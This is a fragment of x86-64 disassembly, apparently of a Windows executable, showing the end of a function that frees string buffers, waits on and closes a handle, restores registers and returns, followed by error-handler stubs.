mov qword [rsp + 0x78], 7
mov qword [rbp + 0x48], rax
xorps xmm0, xmm0
lea rax, [rbp + 0x40]
movups xmmword [rsp + 0x60], xmm0
mov qword [rbp + 0x78], rax
mov word [rsp + 0x60], r12w
call fcn.1400032bc
lea rcx, [rbp + 0x40]
mov rdx, rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x60]
lea rcx, [rbp + 0xe8]
lea r8, [0x140013f78]
call fcn.140004f14
lea rcx, [rbp + 0x140]
call fcn.140007b48
lea rcx, [rsp + 0x60]
call fcn.140007b48
lea rcx, [rbp + 0x98]
call fcn.140007b48
mov edi, 0x1000
test r14, r14
je 0x140007336
mov rdx, qword [rbp + 0xc8]
mov rax, r14
sub rdx, r14
and rdx, 0xfffffffffffffff8
cmp rdx, rdi
jb 0x14000732e
mov r14, qword [r14 - 8]
add rdx, 0x27
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007468
mov rcx, r14
call fcn.14000bfec
lea rcx, [rbp + 0x108]
call fcn.1400077ac
lea rcx, [rbp + 0xe8]
call fcn.140007b48
lea rcx, [rbp + 0x80]
call fcn.14000766c
lea rcx, [rbp + 0x458]
call fcn.140007814
test r13, r13
je 0x140007380
or edx, 0xffffffff
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x1400073a4
lea rcx, [rbx + 0x28]
call fcn.140007b48
lea rcx, [rbx + 8]
call fcn.140007b48
mov edx, 0x50
mov rcx, rbx
call fcn.14000bfec
lea rcx, [rbp + 0x120]
call fcn.140007b48
lea rcx, [rbp + 0x160]
call fcn.140007b48
lea rcx, [rbp + 0xd0]
call fcn.140007720
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x1400073fb
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, rdi
jb 0x1400073f6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007468
call fcn.14000bfec
mov rdx, qword [rbp + 0x38]
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], r12b
cmp rdx, 0xf
jbe 0x14000743e
inc rdx
cmp rdx, rdi
mov rcx, qword [rbp + 0x20]
mov rax, rcx
jb 0x140007439
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007468
call fcn.14000bfec
lea r11, [rsp + 0x508]
xor eax, eax
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1400082c8
int3
call fcn.14000ce90
int3
call fcn.14000ce90
int3
call fcn.14000184c
int3
call fcn.14000ce90
int3
call fcn.14000184c
int3
call fcn.14000ce90
int3
call fcn.14000ce90
int3
call fcn.14000ce90
int3
call fcn.1400082c8
int3
call fcn.14000ce90
int3
call fcn.14000ce90
int3
call fcn.14000ce90
int3